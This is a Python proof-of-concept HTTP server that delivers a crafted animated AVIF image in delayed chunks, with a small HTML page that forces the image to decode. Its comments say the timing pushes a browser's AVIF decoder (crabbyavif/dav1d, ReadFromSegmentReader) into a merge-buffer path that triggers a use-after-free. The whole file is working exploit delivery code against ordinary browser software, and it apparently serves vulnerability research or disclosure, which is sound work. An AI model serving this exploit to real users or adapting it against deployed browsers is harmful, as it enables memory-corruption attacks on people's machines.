#!/usr/bin/env python3
"""
HTTP server that serves the malicious AVIF with controlled chunk boundaries.

Splits the file at specific byte offsets so that both track samples straddle
a SharedBuffer segment boundary, forcing AVIFImageDecoder::ReadFromSegmentReader
into its merge-buffer path for both reads.
"""
import http.server, socketserver, time, os, subprocess, sys

PORT = int(os.environ.get("POC_PORT", 8080))

# Build the AVIF if it doesn't exist.
HERE = os.path.dirname(os.path.abspath(__file__))
os.chdir(HERE)
if not os.path.exists("poc.avif") or not os.path.exists("poc.offsets"):
    subprocess.check_call([sys.executable, "build_avif.py"])

with open("poc.avif", "rb") as f:
    AVIF = f.read()
with open("poc.offsets") as f:
    s0_off, s0_end, s1_off, s1_end = map(int, f.read().split())

# Uniform 1500-byte chunks. The first chunk covers the full ftyp/meta/moov
# header (~920B) so crabby_avifDecoderParse() succeeds and the renderer
# creates the ParkableImage with its initial ~4KB block while the SharedBuffer
# is still small. Subsequent chunks then overflow that block and create new
# ~4KB RWBuffer blocks, so both track samples straddle a block boundary and
# ReadFromSegmentReader is forced into its merge-buffer path.
CHUNK = 1500
SPLITS = list(range(0, len(AVIF), CHUNK)) + [len(AVIF)]
DELAY = 0.35
print(f"[server] poc.avif = {len(AVIF)} bytes, {len(SPLITS)-1} x {CHUNK}B chunks",
      file=sys.stderr)

HTML = b"""<!doctype html>
<html><head><title>crabbyavif/dav1d UAF POC</title></head>
<body>
<h3>crabbyavif Dav1d wrapper retains zero-copy ref across get_next_image() calls</h3>
<p>Loading animated AVIF with crafted OBU layout...</p>
<img id=x src="poc.avif" width=128 height=64
     onload="document.body.innerHTML+='<p>loaded, animating...'"
     onerror="document.body.innerHTML+='<p>error (expected after frame 1 UAF)'">
<script>
// Force decoding of all animation frames quickly.
const img = document.getElementById('x');
img.decode().then(() => console.log('decoded frame 0'));
</script>
</body></html>
"""

class H(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def do_GET(self):
        if self.path == "/" or self.path == "/poc.html":
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.send_header("Content-Length", str(len(HTML)))
            self.end_headers()
            self.wfile.write(HTML)
        elif self.path.startswith("/poc.avif"):
            self.send_response(200)
            self.send_header("Content-Type", "image/avif")
            self.send_header("Transfer-Encoding", "chunked")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            for i in range(len(SPLITS) - 1):
                chunk = AVIF[SPLITS[i]:SPLITS[i+1]]
                self.wfile.write(f"{len(chunk):X}\r\n".encode())
                self.wfile.write(chunk)
                self.wfile.write(b"\r\n")
                self.wfile.flush()
                # Delay to force separate AppendData() calls in the renderer
                # (Mojo data-pipe reader picks up whatever's available).
                time.sleep(DELAY)
            self.wfile.write(b"0\r\n\r\n")
            self.wfile.flush()
        else:
            self.send_error(404)

    def log_message(self, fmt, *args):
        sys.stderr.write("[server] " + (fmt % args) + "\n")

class ThreadingTCPServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    allow_reuse_address = True
    daemon_threads = True

if __name__ == "__main__":
    httpd = ThreadingTCPServer(("127.0.0.1", PORT), H)
    print(f"[server] listening on http://127.0.0.1:{PORT}/", file=sys.stderr)
    httpd.serve_forever()